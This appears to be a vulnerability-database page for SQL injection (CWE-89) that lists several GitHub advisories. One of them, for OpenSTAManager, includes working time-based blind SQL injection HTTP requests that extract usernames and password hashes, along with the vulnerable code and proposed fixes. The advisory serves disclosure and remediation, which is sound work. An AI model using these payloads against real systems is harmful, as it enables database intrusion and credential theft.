CWE-89
AllowedImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.
27439 vulnerabilities reference this CWE, most recent first.
GHSA-3GVR-WC48-XW73
Vulnerability from github – Published: 2025-03-01 06:30 – Updated: 2026-04-08 18:33The Multilevel Referral Affiliate Plugin for WooCommerce plugin for WordPress is vulnerable to SQL Injection via the 'orderby' parameter in all versions up to, and including, 2.27 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
{
"affected": [],
"aliases": [
"CVE-2024-13750"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-01T05:15:15Z",
"severity": "MODERATE"
},
"details": "The Multilevel Referral Affiliate Plugin for WooCommerce plugin for WordPress is vulnerable to SQL Injection via the \u0027orderby\u0027 parameter in all versions up to, and including, 2.27 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.",
"id": "GHSA-3gvr-wc48-xw73",
"modified": "2026-04-08T18:33:50Z",
"published": "2025-03-01T06:30:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13750"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/multilevel-referral-plugin-for-woocommerce/tags/2.27/classes/referral-program.php#L310"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3430870%40multilevel-referral-plugin-for-woocommerce\u0026new=3430870%40multilevel-referral-plugin-for-woocommerce\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4389ddc9-de69-4316-9bfa-ff3bd3346c69?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-3GW2-VFGH-V3JW
Vulnerability from github – Published: 2022-05-24 16:46 – Updated: 2024-04-04 00:45An issue was discovered in ZOHO ManageEngine OpManager 12.2. The 'apiKey' parameter of "/api/json/admin/getmailserversettings" and "/api/json/dashboard/gotoverviewlist" is vulnerable to a Blind SQL Injection attack.
{
"affected": [],
"aliases": [
"CVE-2017-11559"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-05-23T18:29:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in ZOHO ManageEngine OpManager 12.2. The \u0027apiKey\u0027 parameter of \"/api/json/admin/getmailserversettings\" and \"/api/json/dashboard/gotoverviewlist\" is vulnerable to a Blind SQL Injection attack.",
"id": "GHSA-3gw2-vfgh-v3jw",
"modified": "2024-04-04T00:45:29Z",
"published": "2022-05-24T16:46:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-11559"
},
{
"type": "WEB",
"url": "https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18736"
},
{
"type": "WEB",
"url": "http://manageengine.com"
},
{
"type": "WEB",
"url": "http://opmanager.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-3GW6-96RM-6CM8
Vulnerability from github – Published: 2026-07-16 09:32 – Updated: 2026-07-16 09:32The WP TripAdvisor Review Slider plugin for WordPress is vulnerable to generic SQL Injection via the 'filtersource' parameter in all versions up to, and including, 14.6 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
{
"affected": [],
"aliases": [
"CVE-2026-15651"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-16T09:16:18Z",
"severity": "MODERATE"
},
"details": "The WP TripAdvisor Review Slider plugin for WordPress is vulnerable to generic SQL Injection via the \u0027filtersource\u0027 parameter in all versions up to, and including, 14.6 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.",
"id": "GHSA-3gw6-96rm-6cm8",
"modified": "2026-07-16T09:32:18Z",
"published": "2026-07-16T09:32:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15651"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wp-tripadvisor-review-slider/tags/14.6/admin/class-wp-tripadvisor-review-slider-admin.php#L3310"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wp-tripadvisor-review-slider/tags/14.6/public/partials/wp-tripadvisor-review-slider-public-display-widget.php#L118"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wp-tripadvisor-review-slider/tags/14.6/public/partials/wp-tripadvisor-review-slider-public-display.php#L106"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wp-tripadvisor-review-slider/tags/14.6/public/partials/wp-tripadvisor-review-slider-public-display.php#L118"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3607754/wp-tripadvisor-review-slider"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a0d38788-5f90-4ab1-8df1-1c67c1052e6d?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-3GW8-3MG3-JMPC
Vulnerability from github – Published: 2026-04-01 19:46 – Updated: 2026-04-06 17:17Description
Multiple AJAX select handlers in OpenSTAManager <= 2.10.1 are vulnerable to Time-Based Blind SQL Injection through the options[stato] GET parameter. The user-supplied value is read from $superselect['stato'] and concatenated directly into SQL WHERE clauses as a bare expression, without any sanitization, parameterization, or allowlist validation.
An authenticated attacker can inject arbitrary SQL statements to extract sensitive data from the database, including usernames, password hashes, financial records, and any other information stored in the MySQL database.
Affected Endpoints
Three modules share the same vulnerability pattern:
1. Preventivi (Quotes) - Primary
- Endpoint:
GET /ajax_select.php?op=preventivi - File:
modules/preventivi/ajax/select.php, line 60 - Required parameters:
options[idanagrafica](any valid ID)
Vulnerable code:
// modules/preventivi/ajax/select.php, lines 59-60
$stato = !empty($superselect['stato']) ? $superselect['stato'] : 'is_pianificabile';
$where[] = '('.$stato.' = 1)';
The $stato variable is inserted as a bare expression inside parentheses. The resulting SQL fragment becomes ({user_input} = 1), allowing an attacker to break out of the expression and inject arbitrary SQL.
2. Ordini (Orders)
- Endpoint:
GET /ajax_select.php?op=ordini-cliente - File:
modules/ordini/ajax/select.php, line 52 - Required parameters:
options[idanagrafica](any valid ID)
Vulnerable code:
// modules/ordini/ajax/select.php, lines 51-52
$stato = !empty($superselect['stato']) ? $superselect['stato'] : 'is_fatturabile';
$where[] = '`or_statiordine`.'.$stato.' = 1';
The $stato variable is inserted as a column name reference. The resulting SQL fragment becomes `or_statiordine`.{user_input} = 1, allowing injection after the table-column reference.
3. Contratti (Contracts)
- Endpoint:
GET /ajax_select.php?op=contratti - File:
modules/contratti/ajax/select.php, line 57 - Required parameters:
options[idanagrafica](any valid ID)
Vulnerable code:
// modules/contratti/ajax/select.php, lines 56-57
$stato = !empty($superselect['stato']) ? $superselect['stato'] : 'is_pianificabile';
$where[] = '`idstato` IN (SELECT `id` FROM `co_staticontratti` WHERE '.$stato.' = 1)';
The $stato variable is inserted inside a subquery. The resulting SQL fragment becomes WHERE {user_input} = 1), allowing an attacker to close the subquery and inject into the outer query.
Root Cause Analysis
Data Flow
- The attacker sends a GET request with
options[stato]=<payload>to/ajax_select.php ajax_select.php(line 30) reads the value viafilter('options'), which applies HTMLPurifier sanitization- HTMLPurifier strips HTML tags and the
>character, but does NOT strip SQL keywords (SELECT,SLEEP,IF,UNION, etc.) or SQL-significant characters ((,),=,', etc.) - The sanitized value is passed to
AJAX::select()insrc/AJAX.php(line 40) AJAX::getSelectResults()assigns$superselect = $options(line 273) andrequires the module'sselect.phpfile (line 275)- The module's
select.phpreads$superselect['stato']and concatenates it directly into the$where[]array AJAX::selectResults()joins all WHERE elements withANDand executes the query viaQuery::executeAndCount()(line 120)
Why HTMLPurifier is Insufficient
HTMLPurifier is an HTML sanitization library designed to prevent XSS attacks. It is not an SQL injection prevention mechanism. Specifically:
- It does not strip SQL keywords:
SELECT,SLEEP,IF,UNION,FROM,WHERE - It does not strip SQL operators:
=,(,),,,+,-,* - It strips the
>character (used in HTML), which can be bypassed using MySQL'sGREATEST()function - It provides zero protection against SQL injection
Proof of Concept
Prerequisites
- A valid user account on the OpenSTAManager instance (any privilege level)
- Network access to the application
Step 1: Authenticate
POST /index.php HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
op=login&username=<user>&password=<pass>
Save the PHPSESSID cookie from the Set-Cookie response header.
Step 2: Verify Injection (SLEEP test)
Baseline request (normal response time ~200ms):
GET /ajax_select.php?op=preventivi&options[idanagrafica]=1&options[stato]=is_pianificabile HTTP/1.1
Host: <target>
Cookie: PHPSESSID=<session>
Injection request (response time ~10 seconds):
GET /ajax_select.php?op=preventivi&options[idanagrafica]=1&options[stato]=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(10)))a)+AND+(1 HTTP/1.1
Host: <target>
Cookie: PHPSESSID=<session>
Expected result: The response is delayed by approximately 10 seconds, confirming that the SLEEP(10) function was executed by the database server. The response body in both cases is identical: {"results":[],"recordsFiltered":0}.
Step 3: Data Extraction (demonstrating impact)
Using binary search with time-based boolean conditions, an attacker can extract arbitrary data. The > character is stripped by HTMLPurifier, so the GREATEST() function is used as an equivalent:
Extract username length:
GET /ajax_select.php?op=preventivi&options[idanagrafica]=1&options[stato]=1)+AND+(SELECT+1+FROM+(SELECT(IF((GREATEST(LENGTH((SELECT+username+FROM+zz_users+LIMIT+0,1)),3%2B1)%3DLENGTH((SELECT+username+FROM+zz_users+LIMIT+0,1))),SLEEP(2),0)))a)+AND+(1 HTTP/1.1
This technique was used to successfully extract:
- Username:
admin(5 characters, extracted character by character) - Password hash prefix:
$2y$10$qAo04wNbhR9cpxjHzrtcnu...(bcrypt) - MySQL version:
8.3.0
PoC for Other Endpoints
Ordini (orders):
GET /ajax_select.php?op=ordini-cliente&options[idanagrafica]=1&options[stato]=is_fatturabile+%3D+1+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)+AND+1 HTTP/1.1
Contratti (contracts):
GET /ajax_select.php?op=contratti&options[idanagrafica]=1&options[stato]=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)+AND+(1 HTTP/1.1
Both endpoints show the same SLEEP-based timing delay, confirming the injection.
Impact
- Confidentiality: An attacker can extract the entire database contents, including user credentials (usernames and bcrypt password hashes), personal identifiable information (PII), financial records (invoices, quotes, contracts, payments), and application configuration.
- Integrity: With MySQL's
INSERT/UPDATEcapabilities via subqueries, an attacker may be able to modify data. - Availability: An attacker can execute
SLEEP()with large values or resource-intensive queries to cause denial of service.
Proposed Remediation
Option A: Allowlist Validation (Recommended)
Replace the direct concatenation with an allowlist of permitted column names:
// modules/preventivi/ajax/select.php — FIXED
$allowed_stati = ['is_pianificabile', 'is_completato', 'is_fatturabile', 'is_concluso'];
$stato = !empty($superselect['stato']) && in_array($superselect['stato'], $allowed_stati)
? $superselect['stato']
: 'is_pianificabile';
$where[] = '('.$stato.' = 1)';
// modules/ordini/ajax/select.php — FIXED
$allowed_stati = ['is_fatturabile', 'is_evadibile', 'is_completato'];
$stato = !empty($superselect['stato']) && in_array($superselect['stato'], $allowed_stati)
? $superselect['stato']
: 'is_fatturabile';
$where[] = '`or_statiordine`.'.$stato.' = 1';
// modules/contratti/ajax/select.php — FIXED
$allowed_stati = ['is_pianificabile', 'is_completato', 'is_fatturabile'];
$stato = !empty($superselect['stato']) && in_array($superselect['stato'], $allowed_stati)
? $superselect['stato']
: 'is_pianificabile';
$where[] = '`idstato` IN (SELECT `id` FROM `co_staticontratti` WHERE '.$stato.' = 1)';
This approach is recommended because the stato parameter represents a database column name (not a value), so prepared statements cannot be used here. The allowlist ensures only known-safe column names are accepted.
Option B: Regex Validation (Alternative)
If the set of column names is dynamic, validate the format strictly:
$stato = !empty($superselect['stato']) ? $superselect['stato'] : 'is_pianificabile';
if (!preg_match('/^[a-z_]+$/i', $stato)) {
$stato = 'is_pianificabile'; // fallback to safe default
}
$where[] = '('.$stato.' = 1)';
This ensures only alphabetic characters and underscores are accepted, preventing any SQL injection.
Option C: Backtick Quoting (Supplementary)
In addition to validation, wrap the column name in backticks to treat it as an identifier:
$where[] = '(`'.str_replace('`', '', $stato).'` = 1)';
Note: This alone is insufficient without input validation but provides defense-in-depth.
Global Recommendation
Audit all usages of $superselect across the codebase. Any value from $superselect that is used as part of a SQL expression (not as a parameterized value) must be validated against an allowlist. The prepare() function is already used correctly in other parts of the code — the issue is specifically where $superselect values are used as column names or bare expressions.
Credits
Omar Ramirez
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.10.1"
},
"package": {
"ecosystem": "Packagist",
"name": "devcode-it/openstamanager"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.10.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-28805"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-01T19:46:00Z",
"nvd_published_at": "2026-04-02T14:16:26Z",
"severity": "HIGH"
},
"details": "## Description\n\nMultiple AJAX select handlers in OpenSTAManager \u003c= 2.10.1 are vulnerable to Time-Based Blind SQL Injection through the `options[stato]` GET parameter. The user-supplied value is read from `$superselect[\u0027stato\u0027]` and concatenated directly into SQL WHERE clauses as a bare expression, without any sanitization, parameterization, or allowlist validation.\n\nAn authenticated attacker can inject arbitrary SQL statements to extract sensitive data from the database, including usernames, password hashes, financial records, and any other information stored in the MySQL database.\n\n## Affected Endpoints\n\nThree modules share the same vulnerability pattern:\n\n### 1. Preventivi (Quotes) - Primary\n\n- **Endpoint:** `GET /ajax_select.php?op=preventivi`\n- **File:** `modules/preventivi/ajax/select.php`, line 60\n- **Required parameters:** `options[idanagrafica]` (any valid ID)\n\n**Vulnerable code:**\n\n```php\n// modules/preventivi/ajax/select.php, lines 59-60\n$stato = !empty($superselect[\u0027stato\u0027]) ? $superselect[\u0027stato\u0027] : \u0027is_pianificabile\u0027;\n$where[] = \u0027(\u0027.$stato.\u0027 = 1)\u0027;\n```\n\nThe `$stato` variable is inserted as a bare expression inside parentheses. The resulting SQL fragment becomes `({user_input} = 1)`, allowing an attacker to break out of the expression and inject arbitrary SQL.\n\n### 2. Ordini (Orders)\n\n- **Endpoint:** `GET /ajax_select.php?op=ordini-cliente`\n- **File:** `modules/ordini/ajax/select.php`, line 52\n- **Required parameters:** `options[idanagrafica]` (any valid ID)\n\n**Vulnerable code:**\n\n```php\n// modules/ordini/ajax/select.php, lines 51-52\n$stato = !empty($superselect[\u0027stato\u0027]) ? $superselect[\u0027stato\u0027] : \u0027is_fatturabile\u0027;\n$where[] = \u0027`or_statiordine`.\u0027.$stato.\u0027 = 1\u0027;\n```\n\nThe `$stato` variable is inserted as a column name reference. The resulting SQL fragment becomes `` `or_statiordine`.{user_input} = 1 ``, allowing injection after the table-column reference.\n\n### 3. Contratti (Contracts)\n\n- **Endpoint:** `GET /ajax_select.php?op=contratti`\n- **File:** `modules/contratti/ajax/select.php`, line 57\n- **Required parameters:** `options[idanagrafica]` (any valid ID)\n\n**Vulnerable code:**\n\n```php\n// modules/contratti/ajax/select.php, lines 56-57\n$stato = !empty($superselect[\u0027stato\u0027]) ? $superselect[\u0027stato\u0027] : \u0027is_pianificabile\u0027;\n$where[] = \u0027`idstato` IN (SELECT `id` FROM `co_staticontratti` WHERE \u0027.$stato.\u0027 = 1)\u0027;\n```\n\nThe `$stato` variable is inserted inside a subquery. The resulting SQL fragment becomes `WHERE {user_input} = 1)`, allowing an attacker to close the subquery and inject into the outer query.\n\n## Root Cause Analysis\n\n### Data Flow\n\n1. The attacker sends a GET request with `options[stato]=\u003cpayload\u003e` to `/ajax_select.php`\n2. `ajax_select.php` (line 30) reads the value via `filter(\u0027options\u0027)`, which applies HTMLPurifier sanitization\n3. HTMLPurifier strips HTML tags and the `\u003e` character, but does **NOT** strip SQL keywords (`SELECT`, `SLEEP`, `IF`, `UNION`, etc.) or SQL-significant characters (`(`, `)`, `=`, `\u0027`, etc.)\n4. The sanitized value is passed to `AJAX::select()` in `src/AJAX.php` (line 40)\n5. `AJAX::getSelectResults()` assigns `$superselect = $options` (line 273) and `require`s the module\u0027s `select.php` file (line 275)\n6. The module\u0027s `select.php` reads `$superselect[\u0027stato\u0027]` and concatenates it directly into the `$where[]` array\n7. `AJAX::selectResults()` joins all WHERE elements with `AND` and executes the query via `Query::executeAndCount()` (line 120)\n\n### Why HTMLPurifier is Insufficient\n\nHTMLPurifier is an HTML sanitization library designed to prevent XSS attacks. It is **not** an SQL injection prevention mechanism. Specifically:\n\n- It does **not** strip SQL keywords: `SELECT`, `SLEEP`, `IF`, `UNION`, `FROM`, `WHERE`\n- It does **not** strip SQL operators: `=`, `(`, `)`, `,`, `+`, `-`, `*`\n- It strips the `\u003e` character (used in HTML), which can be bypassed using MySQL\u0027s `GREATEST()` function\n- It provides zero protection against SQL injection\n\n## Proof of Concept\n\n### Prerequisites\n\n- A valid user account on the OpenSTAManager instance (any privilege level)\n- Network access to the application\n\n### Step 1: Authenticate\n\n```\nPOST /index.php HTTP/1.1\nHost: \u003ctarget\u003e\nContent-Type: application/x-www-form-urlencoded\n\nop=login\u0026username=\u003cuser\u003e\u0026password=\u003cpass\u003e\n```\n\nSave the `PHPSESSID` cookie from the `Set-Cookie` response header.\n\n### Step 2: Verify Injection (SLEEP test)\n\n**Baseline request** (normal response time ~200ms):\n\n```\nGET /ajax_select.php?op=preventivi\u0026options[idanagrafica]=1\u0026options[stato]=is_pianificabile HTTP/1.1\nHost: \u003ctarget\u003e\nCookie: PHPSESSID=\u003csession\u003e\n```\n\n**Injection request** (response time ~10 seconds):\n\n```\nGET /ajax_select.php?op=preventivi\u0026options[idanagrafica]=1\u0026options[stato]=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(10)))a)+AND+(1 HTTP/1.1\nHost: \u003ctarget\u003e\nCookie: PHPSESSID=\u003csession\u003e\n```\n\n**Expected result:** The response is delayed by approximately 10 seconds, confirming that the `SLEEP(10)` function was executed by the database server. The response body in both cases is identical: `{\"results\":[],\"recordsFiltered\":0}`.\n\n\u003cimg width=\"934\" height=\"491\" alt=\"image\" src=\"https://github.com/user-attachments/assets/27beff84-3e25-43e1-b484-76db25c0faa8\" /\u003e\n\n\n### Step 3: Data Extraction (demonstrating impact)\n\nUsing binary search with time-based boolean conditions, an attacker can extract arbitrary data. The `\u003e` character is stripped by HTMLPurifier, so the `GREATEST()` function is used as an equivalent:\n\n**Extract username length:**\n\n```\nGET /ajax_select.php?op=preventivi\u0026options[idanagrafica]=1\u0026options[stato]=1)+AND+(SELECT+1+FROM+(SELECT(IF((GREATEST(LENGTH((SELECT+username+FROM+zz_users+LIMIT+0,1)),3%2B1)%3DLENGTH((SELECT+username+FROM+zz_users+LIMIT+0,1))),SLEEP(2),0)))a)+AND+(1 HTTP/1.1\n```\n\nThis technique was used to successfully extract:\n\n- **Username:** `admin` (5 characters, extracted character by character)\n- **Password hash prefix:** `$2y$10$qAo04wNbhR9cpxjHzrtcnu...` (bcrypt)\n- **MySQL version:** `8.3.0`\n\n### PoC for Other Endpoints\n\n**Ordini (orders):**\n\n```\nGET /ajax_select.php?op=ordini-cliente\u0026options[idanagrafica]=1\u0026options[stato]=is_fatturabile+%3D+1+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)+AND+1 HTTP/1.1\n```\n\n**Contratti (contracts):**\n\n```\nGET /ajax_select.php?op=contratti\u0026options[idanagrafica]=1\u0026options[stato]=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)+AND+(1 HTTP/1.1\n```\n\nBoth endpoints show the same SLEEP-based timing delay, confirming the injection.\n\n## Impact\n\n- **Confidentiality:** An attacker can extract the entire database contents, including user credentials (usernames and bcrypt password hashes), personal identifiable information (PII), financial records (invoices, quotes, contracts, payments), and application configuration.\n- **Integrity:** With MySQL\u0027s `INSERT`/`UPDATE` capabilities via subqueries, an attacker may be able to modify data.\n- **Availability:** An attacker can execute `SLEEP()` with large values or resource-intensive queries to cause denial of service.\n\n## Proposed Remediation\n\n### Option A: Allowlist Validation (Recommended)\n\nReplace the direct concatenation with an allowlist of permitted column names:\n\n```php\n// modules/preventivi/ajax/select.php \u2014 FIXED\n$allowed_stati = [\u0027is_pianificabile\u0027, \u0027is_completato\u0027, \u0027is_fatturabile\u0027, \u0027is_concluso\u0027];\n$stato = !empty($superselect[\u0027stato\u0027]) \u0026\u0026 in_array($superselect[\u0027stato\u0027], $allowed_stati)\n ? $superselect[\u0027stato\u0027]\n : \u0027is_pianificabile\u0027;\n$where[] = \u0027(\u0027.$stato.\u0027 = 1)\u0027;\n```\n\n```php\n// modules/ordini/ajax/select.php \u2014 FIXED\n$allowed_stati = [\u0027is_fatturabile\u0027, \u0027is_evadibile\u0027, \u0027is_completato\u0027];\n$stato = !empty($superselect[\u0027stato\u0027]) \u0026\u0026 in_array($superselect[\u0027stato\u0027], $allowed_stati)\n ? $superselect[\u0027stato\u0027]\n : \u0027is_fatturabile\u0027;\n$where[] = \u0027`or_statiordine`.\u0027.$stato.\u0027 = 1\u0027;\n```\n\n```php\n// modules/contratti/ajax/select.php \u2014 FIXED\n$allowed_stati = [\u0027is_pianificabile\u0027, \u0027is_completato\u0027, \u0027is_fatturabile\u0027];\n$stato = !empty($superselect[\u0027stato\u0027]) \u0026\u0026 in_array($superselect[\u0027stato\u0027], $allowed_stati)\n ? $superselect[\u0027stato\u0027]\n : \u0027is_pianificabile\u0027;\n$where[] = \u0027`idstato` IN (SELECT `id` FROM `co_staticontratti` WHERE \u0027.$stato.\u0027 = 1)\u0027;\n```\n\nThis approach is recommended because the `stato` parameter represents a database column name (not a value), so prepared statements cannot be used here. The allowlist ensures only known-safe column names are accepted.\n\n### Option B: Regex Validation (Alternative)\n\nIf the set of column names is dynamic, validate the format strictly:\n\n```php\n$stato = !empty($superselect[\u0027stato\u0027]) ? $superselect[\u0027stato\u0027] : \u0027is_pianificabile\u0027;\nif (!preg_match(\u0027/^[a-z_]+$/i\u0027, $stato)) {\n $stato = \u0027is_pianificabile\u0027; // fallback to safe default\n}\n$where[] = \u0027(\u0027.$stato.\u0027 = 1)\u0027;\n```\n\nThis ensures only alphabetic characters and underscores are accepted, preventing any SQL injection.\n\n### Option C: Backtick Quoting (Supplementary)\n\nIn addition to validation, wrap the column name in backticks to treat it as an identifier:\n\n```php\n$where[] = \u0027(`\u0027.str_replace(\u0027`\u0027, \u0027\u0027, $stato).\u0027` = 1)\u0027;\n```\n\n**Note:** This alone is insufficient without input validation but provides defense-in-depth.\n\n### Global Recommendation\n\nAudit all usages of `$superselect` across the codebase. Any value from `$superselect` that is used as part of a SQL expression (not as a parameterized value) must be validated against an allowlist. The `prepare()` function is already used correctly in other parts of the code \u2014 the issue is specifically where `$superselect` values are used as column names or bare expressions.\n\n### Credits\nOmar Ramirez",
"id": "GHSA-3gw8-3mg3-jmpc",
"modified": "2026-04-06T17:17:50Z",
"published": "2026-04-01T19:46:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/devcode-it/openstamanager/security/advisories/GHSA-3gw8-3mg3-jmpc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28805"
},
{
"type": "WEB",
"url": "https://github.com/devcode-it/openstamanager/commit/50b9089c506ba2ca249afb1dfead2af5d42c10e7"
},
{
"type": "WEB",
"url": "https://github.com/devcode-it/openstamanager/commit/679c40fa5b3acad4263b537f367c0695ff9666dc"
},
{
"type": "PACKAGE",
"url": "https://github.com/devcode-it/openstamanager"
},
{
"type": "WEB",
"url": "https://github.com/devcode-it/openstamanager/releases/tag/v2.10.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "OpenSTAManager has a Time-Based Blind SQL Injection via `options[stato]` Parameter"
}
GHSA-3GWR-HGHM-Q2CX
Vulnerability from github – Published: 2025-07-19 03:30 – Updated: 2025-07-19 03:30In One Identity OneLogin before 2025.2.0, the SQL connection "application name" is set based on the value of an untrusted X-RequestId HTTP request header.
{
"affected": [],
"aliases": [
"CVE-2025-52924"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-19T03:15:22Z",
"severity": "MODERATE"
},
"details": "In One Identity OneLogin before 2025.2.0, the SQL connection \"application name\" is set based on the value of an untrusted X-RequestId HTTP request header.",
"id": "GHSA-3gwr-hghm-q2cx",
"modified": "2025-07-19T03:30:20Z",
"published": "2025-07-19T03:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52924"
},
{
"type": "WEB",
"url": "https://oneidentity.com"
},
{
"type": "WEB",
"url": "https://onelogin.service-now.com/support?id=kb_article\u0026sys_id=59fe4c3c972a2610c90c3b0e6253afef\u0026kb_category=a0d76d70db185340d5505eea4b96199f"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-3GX7-HCG4-PM64
Vulnerability from github – Published: 2025-06-05 06:30 – Updated: 2025-06-05 06:30A vulnerability was found in code-projects/anirbandutta9 Content Management System and News-Buzz 1.0. It has been rated as critical. Affected by this issue is some unknown functionality of the file /admin/users.php. The manipulation of the argument delete leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.
{
"affected": [],
"aliases": [
"CVE-2025-5633"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-05T04:15:53Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in code-projects/anirbandutta9 Content Management System and News-Buzz 1.0. It has been rated as critical. Affected by this issue is some unknown functionality of the file /admin/users.php. The manipulation of the argument delete leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.",
"id": "GHSA-3gx7-hcg4-pm64",
"modified": "2025-06-05T06:30:26Z",
"published": "2025-06-05T06:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-5633"
},
{
"type": "WEB",
"url": "https://github.com/YZS17/CVE/blob/main/NEWS-BUZZ/sqli_users.php_delete.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.311120"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.311120"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.589783"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-3GX7-R2XG-967Q
Vulnerability from github – Published: 2022-05-17 05:52 – Updated: 2022-05-17 05:52SQL injection vulnerability in the TU-Clausthal Staff (tuc_staff) 0.3.0 and earlier extension for TYPO3 allows remote attackers to execute arbitrary SQL commands via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2008-6344"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-02-27T17:30:00Z",
"severity": "HIGH"
},
"details": "SQL injection vulnerability in the TU-Clausthal Staff (tuc_staff) 0.3.0 and earlier extension for TYPO3 allows remote attackers to execute arbitrary SQL commands via unspecified vectors.",
"id": "GHSA-3gx7-r2xg-967q",
"modified": "2022-05-17T05:52:52Z",
"published": "2022-05-17T05:52:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-6344"
},
{
"type": "WEB",
"url": "http://typo3.org/teams/security/security-bulletins/typo3-20081222-4"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/32981"
}
],
"schema_version": "1.4.0",
"severity": []
}
